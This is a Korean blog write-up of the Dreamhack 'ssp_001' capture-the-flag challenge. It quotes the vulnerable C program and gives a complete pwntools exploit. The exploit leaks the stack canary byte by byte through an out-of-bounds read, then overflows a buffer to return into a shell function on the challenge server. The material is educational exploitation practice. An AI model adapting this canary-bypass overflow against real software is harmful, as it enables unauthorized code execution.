본문 바로가기

포너블

드림핵 ssp_001 롸업

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

문제 코드이다.

get_shell 함수를 실행시키면 되는데 E 케이스에서 name_len을 맘대로 입력해서 ret 주로를 get_shell 함수의 주소로 하면 될 것 같다. 카나리는 P 케이스에서 idx를 box사이즈보다 크게 입력해서 읽어오면 될 것 같다.

카나리부터 읽어와야 하는데 gdb에서 asm을 읽어본 결과, box, name 다음 4바이트에 카나리가 저장되어 있기 때문에

0x83~0x80을 읽어오면 된다.

for i in range(0x83, 0x7f, -1) :
    p.sendafter('> ','P') #read
    p.sendlineafter(' : ', bytes(str(i),'utf-8')) #scanf
    p.recvuntil(' : ')
    canary += p.recv(2)
canary = int(canary,16)
print('canary : 0x%08x'%canary)

이렇게 카나리를 읽어올 수 있다.

get_shell 함수의 주소는 그냥 gdb에서 간단하게 읽어올 수 있다.

이제 E 케이스에서 오버플로우를 발생시키면 된다.

스택 구조 상에서 dummy와 sfp 만큼의 바이트도 고려해서 페이로드를 작성하면

from pwn import *

p = remote('host3.dreamhack.games', 17973)

canary = b''
get_shell = 0x080486b9

for i in range(0x83, 0x7f, -1) :
    p.sendafter('> ','P') #read
    p.sendlineafter(' : ', bytes(str(i),'utf-8')) #scanf
    p.recvuntil(' : ')
    canary += p.recv(2)
canary = int(canary,16)
print('canary : 0x%08x'%canary)

payload = b''
payload += b'\x90' * 0x40
payload += p32(canary)
payload += b'D'*4 #dummy
payload += b'S'*4 #sfp
payload += p32(get_shell) #ret -> get_shell

p.sendafter('> ', 'E')
p.sendlineafter(' : ', '200')
p.sendafter(' : ',payload)
p.interactive()

이렇게 최종 페이로드를 작성할 수 있다.

 

셸을 획득했으면 cat flag로 플래그를 구할 수 있다.